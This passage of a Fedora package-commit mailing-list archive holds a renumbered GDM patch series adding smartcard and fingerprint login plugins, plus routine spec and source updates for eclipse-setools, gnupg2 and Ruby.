-From 932db9a6327028bf544941c93d1bbd83040d7c81 Mon Sep 17 00:00:00 2001
+From dfcd88875919a557296439ebdfecaabf78649665 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 18 Feb 2009 12:32:39 -0500
-Subject: [PATCH 24/40] Add a way for plugins to pick users from list
+Subject: [PATCH 32/48] Add a way for plugins to pick users from list
 
 The smartcard plugin is going to want to
 start its conversation as soon as the card
@@ -12582,10 +12596,10 @@ index f1910cf..fb4bf49 100644
 1.6.5.rc2
 
 
-From edeb203ef112d9f8587269a96c33db6ecfb7c8c4 Mon Sep 17 00:00:00 2001
+From 39b4c1f3dd70b023c183b2d41bd39f483f61f991 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 14:05:20 -0500
-Subject: [PATCH 25/40] Add new api to ask when chooser widget is done loading items
+Subject: [PATCH 33/48] Add new api to ask when chooser widget is done loading items
 
 ---
  gui/simple-greeter/gdm-chooser-widget.c |    9 +++++++++
@@ -12638,10 +12652,10 @@ index 7e3e59c..6a07843 100644
 1.6.5.rc2
 
 
-From b1901a6103c8d69edc2822b614cc09cd29e30241 Mon Sep 17 00:00:00 2001
+From 20ee7a297a032e2c977045d011c6d99fdff0da66 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 14:31:27 -0500
-Subject: [PATCH 26/40] Tell tasks they're ready only after user list loads
+Subject: [PATCH 34/48] Tell tasks they're ready only after user list loads
 
 This way they won't try to access the list prematurely.
 ---
@@ -12698,10 +12712,10 @@ index 799603e..58625b3 100644
 1.6.5.rc2
 
 
-From 9df265a6adff404e1e8f482764dec78fbabe26a1 Mon Sep 17 00:00:00 2001
+From 5f1fdf2186b4bebbf8218c3ca08bd716c0767087 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 16:25:47 -0500
-Subject: [PATCH 27/40] Add fingerprint plugin
+Subject: [PATCH 35/48] Add fingerprint plugin
 
 This commit adds a plugin to initiate a conversation for
 fingerprint scans.
@@ -13343,10 +13357,10 @@ index 0000000..5ea9925
 1.6.5.rc2
 
 
-From 6a87c876c6555bd983fa1fc75e15f5799932dd26 Mon Sep 17 00:00:00 2001
+From 8e46ce389a9fb76a0808e170f10d33af677ad9f8 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 11 Feb 2009 08:47:52 -0500
-Subject: [PATCH 28/40] Add start of a smartcard plugin
+Subject: [PATCH 36/48] Add start of a smartcard plugin
 
 It contains a copy and paste of an old RHEL patch
 I did a few years ago.
@@ -13354,7 +13368,7 @@ I did a few years ago.
  configure.ac                                       |   11 +
  gui/simple-greeter/plugins/Makefile.am             |    2 +-
  gui/simple-greeter/plugins/smartcard/Makefile.am   |   77 ++
- .../plugins/smartcard/gdm-smartcard-extension.c    |  420 ++++++
+ .../plugins/smartcard/gdm-smartcard-extension.c    |  418 ++++++
  .../plugins/smartcard/gdm-smartcard-extension.h    |   56 +
  .../plugins/smartcard/gdm-smartcard-manager.c      | 1394 ++++++++++++++++++++
  .../plugins/smartcard/gdm-smartcard-manager.h      |   86 ++
@@ -13369,7 +13383,8 @@ I did a few years ago.
  .../plugins/smartcard/icons/Makefile.am            |    1 +
  gui/simple-greeter/plugins/smartcard/page.ui       |   56 +
  gui/simple-greeter/plugins/smartcard/plugin.c      |   40 +
- 18 files changed, 2989 insertions(+), 1 deletions(-)
+ po/POTFILES.in                                     |    1 +
+ 19 files changed, 2988 insertions(+), 1 deletions(-)
  create mode 100644 gui/simple-greeter/plugins/smartcard/Makefile.am
  create mode 100644 gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
  create mode 100644 gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.h
@@ -13515,10 +13530,10 @@ index 0000000..1ccebda
 +        Makefile.in
 diff --git a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
 new file mode 100644
-index 0000000..632ee2d
+index 0000000..6fa01fb
 --- /dev/null
 +++ b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
-@@ -0,0 +1,420 @@
+@@ -0,0 +1,418 @@
 +/*
 + * Copyright (C) 2009 Red Hat, Inc.
 + *
@@ -13914,9 +13929,7 @@ index 0000000..632ee2d
 +        extension->priv->actions = gtk_action_group_new ("gdm-smartcard-extension");
 +
 +        action = gtk_action_new (GDM_CONVERSATION_DEFAULT_ACTION,
-+                                 _("Log In"),
-+                                 _("Log into the currently selected sesson"),
-+                                 NULL);
++                                 _("Log In"), NULL, NULL);
 +        g_signal_connect_swapped (action, "activate",
 +                                  G_CALLBACK (on_activate_log_in), extension);
 +        g_object_set (G_OBJECT (action), "icon-name", "go-home", NULL);
@@ -16608,14 +16621,26 @@ index 0000000..fffbd50
 +
 +        return GDM_GREETER_EXTENSION (extension);
 +}
+diff --git a/po/POTFILES.in b/po/POTFILES.in
+index 3963bd6..4d219fb 100644
+--- a/po/POTFILES.in
++++ b/po/POTFILES.in
+@@ -86,6 +86,7 @@ gui/simple-greeter/gdm-user.c
+ gui/simple-greeter/gdm-user-chooser-widget.c
+ gui/simple-greeter/greeter-main.c
+ gui/simple-greeter/plugins/password/gdm-password-extension.c
++gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
+ gui/user-switch-applet/applet.c
+ gui/user-switch-applet/gdm-entry-menu-item.c
+ gui/user-switch-applet/GNOME_FastUserSwitchApplet.server.in.in
 -- 
 1.6.5.rc2
 
 
-From 10cb61a746c548f3a71001606c511dbfe029db4e Mon Sep 17 00:00:00 2001
+From bd66f351d61a9cce64c3843d2b55055c1dc44853 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 23 Feb 2009 17:57:06 -0500
-Subject: [PATCH 29/40] Add a new "choosable" property to show tasks in user list
+Subject: [PATCH 37/48] Add a new "choosable" property to show tasks in user list
 
 Useful for Smartcard and some future "Guest" account plugin
 ---
@@ -16720,7 +16745,7 @@ index b20dd65..7aa99e7 100644
  
  static void
 diff --git a/gui/simple-greeter/plugins/password/gdm-password-extension.c b/gui/simple-greeter/plugins/password/gdm-password-extension.c
-index fae73be..e6c608a 100644
+index 3acab3f..4922c65 100644
 --- a/gui/simple-greeter/plugins/password/gdm-password-extension.c
 +++ b/gui/simple-greeter/plugins/password/gdm-password-extension.c
 @@ -188,12 +188,19 @@ gdm_password_extension_get_description (GdmTask *task)
@@ -16744,7 +16769,7 @@ index fae73be..e6c608a 100644
  
  static void
 diff --git a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
-index 632ee2d..ed19e62 100644
+index 6fa01fb..25d5de4 100644
 --- a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
 +++ b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
 @@ -290,12 +290,19 @@ gdm_smartcard_extension_get_description (GdmTask *task)
@@ -16771,10 +16796,10 @@ index 632ee2d..ed19e62 100644
 1.6.5.rc2
 
 
-From c7ebdc4ff8b8b3de9be2528e664a20fe5002a5c5 Mon Sep 17 00:00:00 2001
+From 669e4eb5c9afc0d08e2e5fdc95f9c84ab1d23335 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 24 Feb 2009 15:12:35 -0500
-Subject: [PATCH 30/40] Separate handling of non-users in user list from users
+Subject: [PATCH 38/48] Separate handling of non-users in user list from users
 
 Now get_chosen_user returns NULL if the activated item
 wasn't a user.  We also separate the handling of on item
@@ -16934,10 +16959,10 @@ index 7aa99e7..316ef46 100644
 1.6.5.rc2
 
 
-From d0ecba187071fcd8a59568d5ae00a0f551cf8afe Mon Sep 17 00:00:00 2001
+From 1a9d81b937e0017749537cb71b5ea70dcc179c07 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 27 Feb 2009 15:44:13 -0500
-Subject: [PATCH 31/40] Initiate smart card auth when clicking on it in list
+Subject: [PATCH 39/48] Initiate smart card auth when clicking on it in list
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c      |   24 ++++++++++++++++++++
@@ -16994,7 +17019,7 @@ index 697189a..661023f 100644
  
          g_debug ("GdmGreeterLoginWindow: Switching to shrunken authentication mode");
 diff --git a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
-index ed19e62..d3641ba 100644
+index 25d5de4..a9e41f4 100644
 --- a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
 +++ b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
 @@ -103,7 +103,7 @@ on_smartcard_event (GIOChannel   *io_channel,
@@ -17010,10 +17035,10 @@ index ed19e62..d3641ba 100644
 1.6.5.rc2
 
 
-From bf5a507638980a588db6102c9125712f0dc0e6b3 Mon Sep 17 00:00:00 2001
+From 8dafa2ee4d4c0cbb1084799842fcebcdafc598d6 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 11:10:28 -0500
-Subject: [PATCH 32/40] Only show task list if user is selected
+Subject: [PATCH 40/48] Only show task list if user is selected
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |   32 ++++++++++++++----------
@@ -17160,10 +17185,10 @@ index 25831a6..162b784 100644
 1.6.5.rc2
 
 
-From 43fd70cff5f7a4e1650a315da42f74649fb3205d Mon Sep 17 00:00:00 2001
+From 71fd47612790465472f8fb89a9d687c5275e3843 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 13:53:34 -0500
-Subject: [PATCH 33/40] Pull verification functions out into their own subroutines
+Subject: [PATCH 41/48] Pull verification functions out into their own subroutines
 
 This makes the function smaller and easier to read
 ---
@@ -17355,10 +17380,10 @@ index ed47b52..372e5f8 100644
 1.6.5.rc2
 
 
-From a0627f5329c0512d236efb8b62fc56ab947a639a Mon Sep 17 00:00:00 2001
+From 0d19a210f5395b2923a200e277814aacae431a4f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 13:57:34 -0500
-Subject: [PATCH 34/40] Add new function find_task_with_service_name
+Subject: [PATCH 42/48] Add new function find_task_with_service_name
 
 It hides a bunch of icky foreach calls.
 ---
@@ -17479,10 +17504,10 @@ index 372e5f8..863e860 100644
 1.6.5.rc2
 
 
-From 0d991f60bbeb155f5a435e71403da28267584528 Mon Sep 17 00:00:00 2001
+From af024db353d19d1f7d3d02f86d79fdf99a8f0457 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 17:09:16 -0500
-Subject: [PATCH 35/40] Notify plugins if their user choose requests fail
+Subject: [PATCH 43/48] Notify plugins if their user choose requests fail
 
 This allows the smart card plugin to cancel pending
 conversations when a card gets inserted.
@@ -17640,7 +17665,7 @@ index fb4bf49..b37b21e 100644
  G_END_DECLS
  
 diff --git a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
-index d3641ba..73e0f84 100644
+index a9e41f4..274132e 100644
 --- a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
 +++ b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
 @@ -53,6 +53,7 @@ struct _GdmSmartcardExtensionPrivate
@@ -17692,10 +17717,10 @@ index d3641ba..73e0f84 100644
 1.6.5.rc2
 
 
-From 3679861bd75c8b5ff013383e0e0c74cf160b0126 Mon Sep 17 00:00:00 2001
+From cd898cdf45186aa0525a1925f21cd0ad73e1c417 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 13 Apr 2009 14:19:50 -0400
-Subject: [PATCH 36/40] reset all conversations if password conversation fails
+Subject: [PATCH 44/48] reset all conversations if password conversation fails
 
 This is a temporary hack until we store plugin policy in
 gconf.
@@ -17728,10 +17753,10 @@ index cb12978..fda4ba0 100644
 1.6.5.rc2
 
 
-From c2fcca046e5ba07dc8f2e5d87f8bedf9aa9cfd99 Mon Sep 17 00:00:00 2001
+From 55863d6c1974e7881cb644369d4a65ccf11475ec Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 21 Apr 2009 10:25:18 -0400
-Subject: [PATCH 37/40] When one PAM conversation wins, stop the others
+Subject: [PATCH 45/48] When one PAM conversation wins, stop the others
 
 This doesn't work yet, it's still in progress code.
 ---
@@ -17849,10 +17874,10 @@ index 337718b..63ea82c 100644
 1.6.5.rc2
 
 
-From 2ebacfe2a39bf72b42b40fe57ab30bff90e1f201 Mon Sep 17 00:00:00 2001
+From 0887e6298a4435c3d4e9ad7f553fe32bce363413 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 21 Apr 2009 15:30:28 -0400
-Subject: [PATCH 38/40] When one PAM conv. wins, actually stop the others
+Subject: [PATCH 46/48] When one PAM conv. wins, actually stop the others
 
 We weren't properly keeping the winning conversation
 around in the previous commit
@@ -17892,10 +17917,10 @@ index d5209f4..d2ffc87 100644
 1.6.5.rc2
 
 
-From a121a7ca2712f7669d31f6f62809ebe01602a687 Mon Sep 17 00:00:00 2001
+From 749f107a23ee2d768dd2de7cd9bf0434f8f54ce9 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 24 Jul 2009 14:41:48 -0400
-Subject: [PATCH 39/40] KILL pam stack instead of TERM pam stack
+Subject: [PATCH 47/48] KILL pam stack instead of TERM pam stack
 
 Some PAM modules are really slow to shut down.
 We need to handle them being slow to shut down better,
@@ -17924,10 +17949,10 @@ index 0327d77..d99b8a5 100644
 1.6.5.rc2
 
 
-From 7304eb766ac3bd744d964e08c84a34d574f35bf8 Mon Sep 17 00:00:00 2001
+From 77491957d3822f1fbe4e0cb7d9c124e16ac8f617 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 21 Oct 2009 16:08:52 -0400
-Subject: [PATCH 40/40] Don't show tasklist for autologin
+Subject: [PATCH 48/48] Don't show tasklist for autologin
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |    5 +++++


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.499
retrieving revision 1.500
diff -u -p -r1.499 -r1.500
--- gdm.spec	23 Oct 2009 02:27:30 -0000	1.499
+++ gdm.spec	23 Oct 2009 16:55:46 -0000	1.500
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 4%{?dist}
+Release: 5%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -405,6 +405,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-5
+- Remove tool tip from login button
+
 * Thu Oct 22 2009 Ray Strode <rstrode at redhat.com> 2.28.1-4
 - Fix autologin window spasms
 - Fix autologin timer animation



From mjakubicek at fedoraproject.org  Fri Oct 23 17:18:51 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 17:18:51 +0000 (UTC)
Subject: rpms/eclipse-setools/F-12 sources,1.4,1.5
Message-ID: <20091023171851.DADF411C0260@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/eclipse-setools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19997/F-12

Modified Files:
	sources 
Log Message:
- Fix FTBFS: copy current sources from F-10 branch to F-12 and devel (sb missed that?)




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-setools/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	13 Feb 2008 21:01:31 -0000	1.4
+++ sources	23 Oct 2009 17:18:49 -0000	1.5
@@ -1 +1 @@
-b1f52bdb9633c23859e6bf4d4e9ea2df  eclipse-setools-3.3.2.4.tar.gz
+4584afc06ba1446e378cb9bf8fab83a3  eclipse-setools-3.3.5.1.tar.gz



From mjakubicek at fedoraproject.org  Fri Oct 23 17:18:51 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 17:18:51 +0000 (UTC)
Subject: rpms/eclipse-setools/devel sources,1.4,1.5
Message-ID: <20091023171851.DACDD11C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/eclipse-setools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19997/devel

Modified Files:
	sources 
Log Message:
- Fix FTBFS: copy current sources from F-10 branch to F-12 and devel (sb missed that?)




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-setools/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	13 Feb 2008 21:01:31 -0000	1.4
+++ sources	23 Oct 2009 17:18:51 -0000	1.5
@@ -1 +1 @@
-b1f52bdb9633c23859e6bf4d4e9ea2df  eclipse-setools-3.3.2.4.tar.gz
+4584afc06ba1446e378cb9bf8fab83a3  eclipse-setools-3.3.5.1.tar.gz



From tmraz at fedoraproject.org  Fri Oct 23 17:19:58 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Fri, 23 Oct 2009 17:19:58 +0000 (UTC)
Subject: rpms/gnupg2/devel gnupg2.spec,1.95,1.96
Message-ID: <20091023171958.2500A11C01EA@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/gnupg2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21430

Modified Files:
	gnupg2.spec 
Log Message:
* Fri Oct 23 2009 Tomas Mraz <tmraz at redhat.com> - 2.0.13-3
- drop s390 specific ifnarchs as all the previously missing dependencies
  are now there
- split out gpgsm into a smime subpackage to reduce main package dependencies



Index: gnupg2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnupg2/devel/gnupg2.spec,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- gnupg2.spec	21 Oct 2009 12:28:38 -0000	1.95
+++ gnupg2.spec	23 Oct 2009 17:19:57 -0000	1.96
@@ -2,7 +2,7 @@
 Summary: Utility for secure communication and data storage
 Name:    gnupg2
 Version: 2.0.13
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 License: GPLv3+
 Group:   Applications/System
@@ -28,29 +28,29 @@ BuildRequires:  libgcrypt-devel >= 1.4
 BuildRequires: libgpg-error-devel => 1.4
 BuildRequires: libksba-devel >= 1.0.2
 BuildRequires: openldap-devel
-%ifnarch s390 s390x
 BuildRequires: libusb-devel
-%if 0%{?fedora} > 3 || 0%{?rhel} > 4
 BuildRequires: pcsc-lite-libs
-%else
-%define pcsclib libpcsclite.so.0
-%endif
-%endif
 BuildRequires: pth-devel
 BuildRequires: readline-devel ncurses-devel
 BuildRequires: zlib-devel
 
 Requires(post): /sbin/install-info
 Requires(postun): /sbin/install-info
-Requires(hint): dirmngr
 Requires(hint): pinentry
 
 # pgp-tools, perl-GnuPG-Interface requires 'gpg' (not sure why) -- Rex
 Provides: gpg = %{version}-%{release}
 # Obsolete GnuPG-1 package
-Provides: gnupg = 1.4.10
+Provides: gnupg = %{version}-%{release}
 Obsoletes: gnupg <= 1.4.10
 
+%package smime
+Summary: CMS encryption and signing tool and smart card support for GnuPG
+Requires: gnupg2 = %{version}-%{release}
+Group: Applications/Internet
+Requires(hint): dirmngr
+
+
 %description
 GnuPG is GNU's tool for secure communication and data storage.  It can
 be used to encrypt data and to create digital signatures.  It includes
@@ -58,20 +58,15 @@ an advanced key management facility and 
 OpenPGP Internet standard as described in RFC2440 and the S/MIME
 standard as described by several RFCs.
 
-GnuPG 2.0 is the stable version of GnuPG integrating support for
-OpenPGP and S/MIME.  It does not conflict with an installed 1.x
-OpenPGP-only version.
-
 GnuPG 2.0 is a newer version of GnuPG with additional support for
 S/MIME.  It has a different design philosophy that splits
-functionality up into several modules.  Both versions may be installed
-simultaneously without any conflict (gpg is called gpg2 in GnuPG 2).
-In fact, the gpg version from GnuPG 1.x is able to make use of the
-gpg-agent as included in GnuPG 2 and allows for seamless passphrase
-caching.  The advantage of GnupG 1.x is its smaller size and no
-dependency on other modules at run and build time.
-
+functionality up into several modules. The S/MIME and smartcard functionality
+is provided by the gnupg2-smime package.
 
+%description smime
+GnuPG is GNU's tool for secure communication and data storage. This
+package adds support for smart cards and S/MIME encryption and signing
+to the base GnuPG package 
 
 %prep
 %setup -q -n gnupg-%{version}
@@ -81,9 +76,7 @@ dependency on other modules at run and b
 # pcsc-lite library major: 0 in 1.2.0, 1 in 1.2.9+ (dlopen()'d in pcsc-wrapper)
 # Note: this is just the name of the default shared lib to load in scdaemon,
 # it can use other implementations too (including non-pcsc ones).
-%if "x%{?pcsclib}" == "x%{nil}"
 %global pcsclib %(basename $(ls -1 %{_libdir}/libpcsclite.so.? 2>/dev/null ) 2>/dev/null )
-%endif
 
 sed -i -e 's/"libpcsclite\.so"/"%{pcsclib}"/' scd/{scdaemon,pcsc-wrapper}.c
 
@@ -96,13 +89,13 @@ sed -i -e 's/"libpcsclite\.so"/"%{pcscli
 
 %configure \
   --disable-rpath \
-  --enable-selinux-support 
+  --enable-selinux-support
 
 # need scratch gpg database for tests
 mkdir -p $HOME/.gnupg
 
 # not smp-safe
-make 
+make
 
 
 %install
@@ -137,7 +130,7 @@ rm -f %{buildroot}%{_infodir}/dir
 # need scratch gpg database for tests
 mkdir -p $HOME/.gnupg
 # some gpg2 tests (still) FAIL on non i386 platforms
-make -k check 
+make -k check
 
 
 %post
@@ -166,24 +159,37 @@ fi
 %{_bindir}/gpgconf
 %{_bindir}/gpgkey2ssh
 %{_bindir}/gpgparsemail
-%{_bindir}/gpgsm*
 %{_bindir}/gpgsplit
 %{_bindir}/gpg-zip
-%{_bindir}/kbxutil
-%{_bindir}/scdaemon
 %{_bindir}/watchgnupg
 %{_sbindir}/*
 %{_datadir}/gnupg/
 %{_libexecdir}/*
 %{_infodir}/*.info*
 %{_mandir}/man?/*
+%exclude %{_datadir}/gnupg/com-certs.pem
+%exclude %{_mandir}/man?/gpgsm*
+%exclude %{_mandir}/man?/scdaemon*
 
+%files smime
+%defattr(-,root,root,-)
+%{_bindir}/gpgsm*
+%{_bindir}/kbxutil
+%{_bindir}/scdaemon
+%{_mandir}/man?/gpgsm*
+%{_mandir}/man?/scdaemon*
+%{_datadir}/gnupg/com-certs.pem
 
 %clean
 rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 23 2009 Tomas Mraz <tmraz at redhat.com> - 2.0.13-3
+- drop s390 specific ifnarchs as all the previously missing dependencies
+  are now there
+- split out gpgsm into a smime subpackage to reduce main package dependencies
+
 * Wed Oct 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.0.13-2
 - provide/obsolete gnupg-1 and add compat symlinks to be able to drop
   gnupg-1



From mtasaka at fedoraproject.org  Fri Oct 23 17:25:54 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 23 Oct 2009 17:25:54 +0000 (UTC)
Subject: rpms/ruby/F-12 ruby-1.8.6-p383-rubyprefix.patch, NONE,
	1.1 .cvsignore, 1.32, 1.33 ruby.spec, 1.141, 1.142 sources, 1.31,
	1.32 ruby-rubyprefix.patch, 1.5, NONE
Message-ID: <20091023172554.5F46B11C01EA@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23674/F-12

Modified Files:
	.cvsignore ruby.spec sources 
Added Files:
	ruby-1.8.6-p383-rubyprefix.patch 
Removed Files:
	ruby-rubyprefix.patch 
Log Message:
* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-2
- Update to 1.8.6 patchlevel 383 (bug 520063)


ruby-1.8.6-p383-rubyprefix.patch:
 /configure.in.orig |only
 /configure.in.rej  |only
 configure.in       |   28 +++++++++++++++++++++++-----
 mkconfig.rb        |    6 +++---
 4 files changed, 26 insertions(+), 8 deletions(-)

--- NEW FILE ruby-1.8.6-p383-rubyprefix.patch ---
diff -ur ruby-1.8.6-p383.0-deadcode/configure.in ruby-1.8.6-p383/configure.in
--- ruby-1.8.6-p383.0-deadcode/configure.in	2009-07-20 15:24:22.000000000 +0200
+++ ruby-1.8.6-p383/configure.in	2009-10-22 16:37:13.729623476 +0200
@@ -1613,6 +1613,13 @@
     rubyw_install_name="$RUBYW_INSTALL_NAME"
     ;;
 esac
+
+AC_ARG_WITH(ruby-prefix,
+	AC_HELP_STRING([--with-ruby-prefix], [build ruby with the special library prefix.])
+	,,
+	with_ruby_prefix=no)
+
+if test "x$with_ruby_prefix" = "x"; then
 case "$target_os" in
   cygwin*|mingw*|*djgpp*|os2-emx*)
     RUBY_LIB_PREFIX="/lib/ruby"
@@ -1621,20 +1628,30 @@
     RUBY_LIB_PREFIX="`eval "echo ${libdir}"`/ruby"
     ;;
 esac
+else
+    RUBY_LIB_PREFIX="${with_ruby_prefix}/ruby"
+fi
 RUBY_LIB_PATH="${RUBY_LIB_PREFIX}/${MAJOR}.${MINOR}"
+RUBY_LIB_PATH2="${libdir}/ruby/${MAJOR}.${MINOR}"
 
 AC_ARG_WITH(sitedir,
 	    [  --with-sitedir=DIR      site libraries in DIR [PREFIX/lib/ruby/site_ruby]],
             [sitedir=$withval],
             [sitedir="`eval "echo ${libdir}"`/ruby/site_ruby"])
-SITE_DIR=`eval echo \\"${sitedir}\\"`
+SITE_DIR=`eval echo \\"${sitedir}\\" | sed -e "s/lib64/lib/"`
+_fc_sitedir="\$(DESTDIR)${sitedir}"
+SITE_DIR2=`eval echo \\"${_fc_sitedir}\\"`
+sitedir=`eval echo \\"${sitedir}\\" | sed -e "s/lib64/lib/"`
+
 case "$target_os" in
   cygwin*|mingw*|*djgpp*|os2-emx*)
     RUBY_SITE_LIB_PATH="`expr "$SITE_DIR" : "$prefix\(/.*\)"`" ||
     RUBY_SITE_LIB_PATH="$SITE_DIR";;
   *)
-    RUBY_SITE_LIB_PATH="$SITE_DIR";;
+    RUBY_SITE_LIB_PATH="$SITE_DIR";
+    RUBY_SITE_LIB_PATH2="$SITE_DIR2";;
 esac
+RUBY_SITE_LIB_PATH3="${RUBY_SITE_LIB_PATH2}/${MAJOR}.${MINOR}"
 RUBY_SITE_LIB_PATH2="${RUBY_SITE_LIB_PATH}/${MAJOR}.${MINOR}"
 
 AC_DEFINE_UNQUOTED(RUBY_LIB, "${RUBY_LIB_PATH}")
@@ -1644,6 +1661,7 @@
 AC_SUBST(arch)dnl
 AC_SUBST(sitearch)dnl
 AC_SUBST(sitedir)dnl
+AC_SUBST(_fc_sitedir)dnl
 
 configure_args=$ac_configure_args
 AC_SUBST(configure_args)dnl
@@ -1652,7 +1670,7 @@
     arch="fat-${target_os}"
 
     AC_DEFINE_UNQUOTED(RUBY_THIN_ARCHLIB,
-                 "${RUBY_LIB_PATH}/" __ARCHITECTURE__ "-${target_os}")
+                 "${RUBY_LIB_PATH2}/" __ARCHITECTURE__ "-${target_os}")
 
     AC_DEFINE_UNQUOTED(RUBY_SITE_THIN_ARCHLIB,
                  "${RUBY_SITE_LIB_PATH}/" __ARCHITECTURE__ "-${target_os}")
@@ -1667,8 +1685,8 @@
   *) sitearch="${arch}" ;;
 esac
 
-AC_DEFINE_UNQUOTED(RUBY_ARCHLIB, "${RUBY_LIB_PATH}/${arch}")
-AC_DEFINE_UNQUOTED(RUBY_SITE_ARCHLIB, "${RUBY_SITE_LIB_PATH2}/${sitearch}")
+AC_DEFINE_UNQUOTED(RUBY_ARCHLIB, "${RUBY_LIB_PATH2}/${arch}")
+AC_DEFINE_UNQUOTED(RUBY_SITE_ARCHLIB, "${RUBY_SITE_LIB_PATH3}/${sitearch}")
 
 AC_ARG_WITH(search-path,
 		[  --with-search-path=DIR specify the additional search path],
Only in ruby-1.8.6-p383/: configure.in.orig
Only in ruby-1.8.6-p383/: configure.in.rej
diff -ur ruby-1.8.6-p383.0-deadcode/mkconfig.rb ruby-1.8.6-p383/mkconfig.rb
--- ruby-1.8.6-p383.0-deadcode/mkconfig.rb	2008-06-07 18:37:10.000000000 +0200
+++ ruby-1.8.6-p383/mkconfig.rb	2009-10-22 16:30:55.776872493 +0200
@@ -139,10 +139,10 @@
 print(*v_others)
 print <<EOS
   CONFIG["ruby_version"] = "$(MAJOR).$(MINOR)"
-  CONFIG["rubylibdir"] = "$(libdir)/ruby/$(ruby_version)"
-  CONFIG["archdir"] = "$(rubylibdir)/$(arch)"
+  CONFIG["rubylibdir"] = "$(prefix)/lib/ruby/$(ruby_version)"
+  CONFIG["archdir"] = "$(libdir)/ruby/$(ruby_version)/$(arch)"
   CONFIG["sitelibdir"] = "$(sitedir)/$(ruby_version)"
-  CONFIG["sitearchdir"] = "$(sitelibdir)/$(sitearch)"
+  CONFIG["sitearchdir"] = "$(_fc_sitedir)/$(ruby_version)/$(sitearch)"
